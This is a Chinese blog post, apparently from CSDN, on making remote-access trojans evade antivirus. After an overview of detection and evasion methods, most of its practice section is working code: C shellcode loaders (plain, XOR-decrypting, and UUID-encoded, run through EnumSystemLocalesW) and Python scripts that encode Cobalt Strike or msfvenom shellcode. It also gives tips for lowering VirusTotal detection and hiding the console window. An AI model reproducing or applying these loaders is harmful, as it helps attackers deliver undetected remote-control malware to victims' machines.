远控免杀从入门到实践


前言

前几天突然看到一个大佬写的免杀,就极其好奇,于是乎就看到这个大佬写的免杀并学习,把之前不懂的地方也都整明白了,特别感谢白师傅和卓师傅,这篇文章主要是远控免杀


基础

概念

免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。

杀毒软件检测方式

常见扫描方式:

扫描压缩包技术、程序窜改防护、修复技术、急救盘杀毒、智能扫描、全盘扫描、勒索软件防护、开机扫描

监控技术:

内存监控、文件监控、邮件监控、网页防护、行为防护

扫描引擎

特征码扫描、文件校验和法、进程行为监测法(沙盒模式)、云查杀、主动防御技术、机器学习识别技术

免杀技术介绍

修改特征码

免杀的最基本思想就是破坏特征,这个特征有可能是特征码,有可能是行为特征,只要破坏了病毒与木马所固有的特征,并保证其原有功能没有改变,一次免杀就能完成了。

花指令免杀

花指令其实就是一段毫无意义的指令,也可以称之为垃圾指令。花指令是否存在对程序的执行结果没有影响,所以它存在的唯一目的就是阻止反汇编程序,或对反汇编设置障碍。

加壳免杀

软件加壳其实也可以称为软件加密(或软件压缩),只是加密(或压缩)的方式与目的不一样罢了。壳就是软件所增加的保护,并不会破坏里面的程序结构,当我们运行这个加壳的程序时,系统首先会运行程序里的壳,然后由壳将加密的程序逐步还原到内存中,最后运行程序。

内存免杀

CPU不可能是为某一款加壳软件而特别设计的,因此某个软件被加壳后的可执行代码CPU是读不懂的。这就要求在执行外壳代码时,要先将原软件解密,并放到内存里,然后再通知CPU执行。

二次编译

metasploit的msfvenom提供了多种格式的payload和encoder,生成的shellcode也为二次加工提供了很大遍历,但是也被各大厂商盯得死死的

分离免杀

采用分离法,即将ShellCode和加载器分离。分离免杀之所以能获得很好的效果就是因为shellcode加载器本身并不包含恶意代码,自然也不会包含恶意软件的特征码,而只有当加载器运行时,它才会从程序之外加载shellcode执行,通过这种方式能够有效避免基于特征码的查杀方式

实践

这里用的代码是c/c++来实现的,也可以用其他语言来实现,效果可能会更好,首先用cs(msf也行)生成shellcode

申请动态内存加载

下面代码会申请一块动态内存,在加载shellcode

#include<stdio.h>
#include<Windows.h>

unsigned char buf[] = "";

int main() {
    char* Memory;

    Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    memcpy(Memory, buf, sizeof(buf));

    ((void(*)())Memory)();

    return 1;
}

使用vs 2019编译,之后CTRL+B生成exe文件

在这里插入图片描述

在项目下的根目录x64\Release的位置找到exe并执行,cs也是上线了

在这里插入图片描述

接下来尝试下VT
在这里插入图片描述

建议不要多次跑VT,要不然效果会越来越不好

XOR加密

这里先用python对shellcode进行XOR加密

#!/usr/bin/env python
# encoding: utf-8
'''

@Author         : xd
@Date           : 2021-01-23 15:57
@Description    : shellcode XOR加密.

'''
import random

buf = b"""[shellcode]"""

key = random.randint(30, 90)


def encrypt():
    print("key:%s" % key)
    i = 1
    st = ''
    for c in buf:
        if i == key:
            i = 1
        st += '%#x' % (c ^ i)
        i += 1

    st = st.replace("0x", "\\x")
    print(st)


if __name__ == "__main__":
    encrypt()

执行后会生成一个key值和加密后的shellcode

在这里插入图片描述

下面代码把shellcode加载到内存并执行

#include<stdio.h>
#include<Windows.h>
#include<string.h>

int  main()
{
	unsigned char encryptedShellcode[] = ""; //加密后的shellcode
	int key = ;  //key值

	unsigned char buf[sizeof(encryptedShellcode)];

	int len = sizeof(encryptedShellcode);

	int j = 1;
	for (int i = 0; i < len; ++i)
	{
		if (j == key) j = 1;
		buf[i] = encryptedShellcode[i] ^ j;
		++j;
	}

	char* addr;

	addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	if (addr == NULL)  return -1;

	
	memcpy(addr, buf, sizeof(buf));
	

	((void(*)())addr)();

	return 0;
}

填充后,使用vs 2019编译,之后CTRL+B生成exe文件,运行后cs还是上线了

在这里插入图片描述
在这里插入图片描述

UUID

先用python把shellcode转变成UUID字符串数组

#coding=utf-8
import uuid

#Input your shellcode like:\xfc\x48\x83\xe4\xf0\xe8\xxx
buf = b"""[shellcode]"""
import uuid

def convertToUUID(shellcode):
    # If shellcode is not in multiples of 16, then add some nullbytes at the end
    if len(shellcode) % 16 != 0:
        print("[-] Shellcode's length not multiplies of 16 bytes")
        print("[-] Adding nullbytes at the end of shellcode, this might break your shellcode.")
        print("\n[*] Modified shellcode length: ", len(shellcode) + (16 - (len(shellcode) % 16)))

        addNullbyte = b"\x00" * (16 - (len(shellcode) % 16))
        shellcode += addNullbyte

    uuids = []
    for i in range(0, len(shellcode), 16):
        uuidString = str(uuid.UUID(bytes_le=shellcode[i:i + 16]))
        uuids.append(uuidString.replace("'", "\""))
    return uuids

u = convertToUUID(buf)
print(str(u).replace("'", "\""))

执行并获取uuid字符串数组
在这里插入图片描述
下面代码把shellcode加载到内存并执行,C的数组是用{},所以要把py生成的[]换成{}放到下面uuids

#include<stdio.h>
#include<Windows.h>
#include<string.h>

const char *uuids[] = ;//uuid数组

int  main()
{
	int len = sizeof(uuids)/sizeof(char*);


	char* addr = NULL;

	addr = HeapCreate(0x00040000, 0, 0);

	if (addr == NULL)  return -1;

	ZwAllocateVirtualMemory(addr, 0, 0, 0x100000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	char* addrPtr = addr;

	for (int i = 0; i < len; ++i)
	{
		byte* u = (byte*)uuids[i];
		RPC_STATUS rpcStatus = UuidFromStringA(&u[0], addrPtr);
		if (rpcStatus != 0) return 0;
		addrPtr += 16;

	}
	EnumSystemLocalesW(addr, 0);


	return 0;
}

这里把申请动态的方式换了函数,同时把加载到内存的方式变换了,这样可以逃避部分杀软的监控,从而达到更好的效果,接下来vs 2019进行编译,不出意外会报错,因为缺少依赖,所以在项目->项目属性(我的是Project属性)

在这里插入图片描述

在链接器->输入,点击附加依赖项编辑,添加上rpccrt4.lib;ntdll.lib,最后CTRL+B,生成exe文件

在这里插入图片描述

下来在靶机运行exe,cs还是上线了

在这里插入图片描述
在这里插入图片描述
接下来使用VT

在这里插入图片描述
效果不错,但是小伙伴有没有发现在靶机运行exe后会有一个黑框,现在我们取消黑框,在代码中加入#pragma comment(linker,“/subsystem:“Windows” /entry:“mainCRTStartup””),控制台程序不出黑窗口,再次生成exe跑VT

在这里插入图片描述

只多了一行代码安全供应商翻了几倍,所以建议大家可以把这改成其他代码实现,效果会很不错


总结

最终也是全部实现了,实践中用到的杀软都是个人版,后面的免杀需要靠大家寻找那些陌生的函数以及其他方式,没有被人发现的,这样免杀才能一直玩下去

大家可以关注菜鸡的公众号,有什么好想法也可以让我学习一下,有什么问题可以一块解决,由于二维码违规,下面是base64编码的文字

5b6u5L+h5YWs5LyX5Y+34oCc5a6J5YWo5re35a2Q4oCd77yM5Y+v5Lul55So5b6u5L+h5pCc5LiA5pCc77yM5q2j5Zyo5a6M5ZaE5LitLi4uLi4u

  • 9
    点赞
  • 53
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

安全混子

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值